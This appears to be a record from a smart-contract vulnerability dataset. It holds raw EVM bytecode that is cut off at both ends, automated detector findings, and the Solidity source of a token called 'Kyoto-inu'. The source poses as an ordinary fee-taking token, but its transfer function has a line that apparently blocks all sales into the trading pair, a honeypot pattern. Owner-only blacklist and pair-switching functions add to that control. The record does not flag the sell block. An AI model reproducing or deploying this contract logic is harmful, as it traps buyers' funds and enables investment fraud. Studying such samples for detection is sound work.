d38c08aa29f0228c897d6e2ab118a3c0ea8bfd9060600160405180910390a150506000600d555050565b600081848411156112635760405162461bcd60e51b81526004016105c09190611bc7565b5060006112708486611d16565b95945050505050565b600e546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156107b0573d6000803e3d6000fd5b600060095482111561131a5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105c0565b600061132461153c565b9050611330838261155f565b9392505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6010805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106113dd57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600f54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561143157600080fd5b505afa158015611445573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061146991906119c4565b8160018151811061148a57634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600f546114b09130911684610cad565b600f5460405163791ac94760e01b81526001600160a01b039091169063791ac947906114e9908590600090869030904290600401611c4f565b600060405180830381600087803b15801561150357600080fd5b505af1158015611517573d6000803e3d6000fd5b50506010805460ff60a81b1916905550505050565b6115378383836115a1565b505050565b6000806000611549611698565b9092509050611558828261155f565b9250505090565b600061133083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506116da565b6000806000806000806115b387611708565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506115e59087611765565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461161490866117a7565b6001600160a01b03891660009081526002602052604090205561163681611806565b6116408483611850565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161168591815260200190565b60405180910390a3505050505050505050565b6009546000908190683635c9adc5dea000006116b4828261155f565b8210156116d157505060095492683635c9adc5dea0000092509050565b90939092509050565b600081836116fb5760405162461bcd60e51b81526004016105c09190611bc7565b5060006112708486611cd7565b60008060008060008060008060006117258a600b54600c54611874565b925092509250600061173561153c565b905060008060006117488e8787876118c9565b919e509c509a509598509396509194505050505091939550919395565b600061133083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061123f565b6000806117b48385611cbf565b9050838110156113305760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105c0565b600061181061153c565b9050600061181e8383611919565b3060009081526002602052604090205490915061183b90826117a7565b30600090815260026020526040902055505050565b60095461185d9083611765565b600955600a5461186d90826117a7565b600a555050565b600080808061188e60646118888989611919565b9061155f565b905060006118a160646118888a89611919565b905060006118b9826118b38b86611765565b90611765565b9992985090965090945050505050565b60008080806118d88886611919565b905060006118e68887611919565b905060006118f48888611919565b90506000611906826118b38686611765565b939b939a50919850919650505050505050565b60008261192857506000610527565b60006119348385611cf7565b9050826119418583611cd7565b146113305760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105c0565b80356119a381611d74565b919050565b6000602082840312156119b9578081fd5b813561133081611d74565b6000602082840312156119d5578081fd5b815161133081611d74565b600080604083850312156119f2578081fd5b82356119fd81611d74565b91506020830135611a0d81611d74565b809150509250929050565b600080600060608486031215611a2c578081fd5b8335611a3781611d74565b92506020840135611a4781611d74565b929592945050506040919091013590565b60008060408385031215611a6a578182fd5b8235611a7581611d74565b946020939093013593505050565b60006020808385031215611a95578182fd5b823567ffffffffffffffff80821115611aac578384fd5b818501915085601f830112611abf578384fd5b813581811115611ad157611ad1611d5e565b8060051b604051601f19603f83011681018181108582111715611af657611af6611d5e565b604052828152858101935084860182860187018a1015611b14578788fd5b8795505b83861015611b3d57611b2981611998565b855260019590950194938601938601611b18565b5098975050505050505050565b600060208284031215611b5b578081fd5b813561133081611d89565b600060208284031215611b77578081fd5b815161133081611d89565b600060208284031215611b93578081fd5b5035919050565b600080600060608486031215611bae578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611bf357858101830151858201604001528201611bd7565b81811115611c045783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611c9e5784516001600160a01b031683529383019391830191600101611c79565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611cd257611cd2611d48565b500190565b600082611cf257634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611d1157611d11611d48565b500290565b600082821015611d2857611d28611d48565b500390565b6000600019821415611d4157611d41611d48565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146106a857600080fd5b80151581146106a857600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ab4a52cd0d1794d870140cde9714b62892a25a7caf22ba1cee5d08654d0cf3b664736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 5,337 |
0x9d74480bc1e7c1aa3555a4af9b5aff2aa16a9c4a
|
/**
*
**/
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract Kyoto is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1 = 5;
uint256 private _feeAddr2 = 5;
address payable private _feeAddrWallet1 = payable(0xc71c57D21724221D4B967182ff34D2de78CC4160);
address payable private _feeAddrWallet2 = payable(0xc71c57D21724221D4B967182ff34D2de78CC4160);
string private constant _name = "Kyoto-inu";
string private constant _symbol = "Kyoto-inu";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[address(this)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(to != uniswapV2Pair);
if (from != owner() && to != owner()) {
require(!bots[from]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function setPairAddress(address _pair) external onlyOwner {
uniswapV2Pair = _pair;
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 50000000000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _isBuy(address _sender) private view returns (bool) {
return _sender == uniswapV2Pair;
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063a9059cbb11610064578063a9059cbb14610350578063b515566a1461038d578063c3c8cd80146103b6578063c9567bf9146103cd578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a22d48321461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612a6d565b60405180910390f35b34801561015057600080fd5b5061016b600480360381019061016691906125e7565b61045e565b6040516101789190612a52565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190612bcf565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce9190612594565b610490565b6040516101e09190612a52565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b91906124fa565b610569565b005b34801561021e57600080fd5b50610227610659565b6040516102349190612c44565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612670565b610662565b005b34801561027257600080fd5b5061027b610714565b005b34801561028957600080fd5b506102a4600480360381019061029f91906124fa565b610786565b6040516102b19190612bcf565b60405180910390f35b3480156102c657600080fd5b506102cf6107d7565b005b3480156102dd57600080fd5b506102e661092a565b6040516102f39190612984565b60405180910390f35b34801561030857600080fd5b50610311610953565b60405161031e9190612a6d565b60405180910390f35b34801561033357600080fd5b5061034e600480360381019061034991906124fa565b610990565b005b34801561035c57600080fd5b50610377600480360381019061037291906125e7565b610a69565b6040516103849190612a52565b60405180910390f35b34801561039957600080fd5b506103b460048036038101906103af9190612627565b610a87565b005b3480156103c257600080fd5b506103cb610bb1565b005b3480156103d957600080fd5b506103e2610c2b565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612554565b61118d565b6040516104189190612bcf565b60405180910390f35b60606040518060400160405280600981526020017f4b796f746f2d696e750000000000000000000000000000000000000000000000815250905090565b600061047261046b611214565b848461121c565b6001905092915050565b60006b033b2e3c9fd0803ce8000000905090565b600061049d8484846113e7565b61055e846104a9611214565b610559856040518060600160405280602881526020016132f960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050f611214565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118ca9092919063ffffffff16565b61121c565b600190509392505050565b610571611214565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f590612b2f565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61066a611214565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ee90612b2f565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610755611214565b73ffffffffffffffffffffffffffffffffffffffff161461077557600080fd5b60004790506107838161192e565b50565b60006107d0600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a29565b9050919050565b6107df611214565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461086c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086390612b2f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600981526020017f4b796f746f2d696e750000000000000000000000000000000000000000000000815250905090565b610998611214565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a25576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a1c90612b2f565b60405180910390fd5b80600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000610a7d610a76611214565b84846113e7565b6001905092915050565b610a8f611214565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b1c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b1390612b2f565b60405180910390fd5b60005b8151811015610bad57600160066000848481518110610b4157610b40612f8c565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610ba590612ee5565b915050610b1f565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bf2611214565b73ffffffffffffffffffffffffffffffffffffffff1614610c1257600080fd5b6000610c1d30610786565b9050610c2881611a97565b50565b610c33611214565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cc0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cb790612b2f565b60405180910390fd5b600f60149054906101000a900460ff1615610d10576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0790612baf565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610da330600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166b033b2e3c9fd0803ce800000061121c565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610de957600080fd5b505afa158015610dfd573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e219190612527565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610e8357600080fd5b505afa158015610e97573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ebb9190612527565b6040518363ffffffff1660e01b8152600401610ed892919061299f565b602060405180830381600087803b158015610ef257600080fd5b505af1158015610f06573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f2a9190612527565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610fb330610786565b600080610fbe61092a565b426040518863ffffffff1660e01b8152600401610fe0969594939291906129f1565b6060604051808303818588803b158015610ff957600080fd5b505af115801561100d573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061103291906126ca565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506a295be96e640669720000006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016111379291906129c8565b602060405180830381600087803b15801561115157600080fd5b505af1158015611165573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611189919061269d565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561128c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161128390612b8f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156112fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112f390612acf565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516113da9190612bcf565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611457576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161144e90612b6f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156114c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114be90612a8f565b60405180910390fd5b6000811161150a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161150190612b4f565b60405180910390fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561156557600080fd5b61156d61092a565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156115db57506115ab61092a565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156118ba57600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561163757600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156116e25750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117385750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156117505750600f60179054906101000a900460ff165b156118005760105481111561176457600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106117af57600080fd5b601e426117bc9190612d05565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600061180b30610786565b9050600f60159054906101000a900460ff161580156118785750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156118905750600f60169054906101000a900460ff165b156118b85761189e81611a97565b600047905060008111156118b6576118b54761192e565b5b505b505b6118c5838383611d1f565b505050565b6000838311158290611912576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119099190612a6d565b60405180910390fd5b50600083856119219190612de6565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61197e600284611d2f90919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156119a9573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6119fa600284611d2f90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611a25573d6000803e3d6000fd5b5050565b6000600854821115611a70576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a6790612aaf565b60405180910390fd5b6000611a7a611d79565b9050611a8f8184611d2f90919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611acf57611ace612fbb565b5b604051908082528060200260200182016040528015611afd5781602001602082028036833780820191505090505b5090503081600081518110611b1557611b14612f8c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611bb757600080fd5b505afa158015611bcb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611bef9190612527565b81600181518110611c0357611c02612f8c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611c6a30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461121c565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611cce959493929190612bea565b600060405180830381600087803b158015611ce857600080fd5b505af1158015611cfc573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b611d2a838383611da4565b505050565b6000611d7183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611f6f565b905092915050565b6000806000611d86611fd2565b91509150611d9d8183611d2f90919063ffffffff16565b9250505090565b600080600080600080611db68761203d565b955095509550955095509550611e1486600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120a590919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611e